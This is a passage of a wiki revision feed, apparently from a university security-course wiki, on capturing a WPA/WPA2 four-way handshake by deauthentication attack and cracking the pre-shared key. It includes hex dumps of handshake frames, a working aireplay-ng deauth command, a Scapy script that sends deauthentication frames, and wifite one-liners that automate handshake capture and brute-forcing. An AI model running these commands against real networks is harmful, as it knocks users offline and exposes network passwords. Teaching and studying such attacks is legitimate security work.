&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17545</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17545"/>
		<updated>2024-12-18T17:31:58Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Put your interface in monitor mode */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode&lt;br /&gt;
 &lt;br /&gt;
   airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you&#039;re connected via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
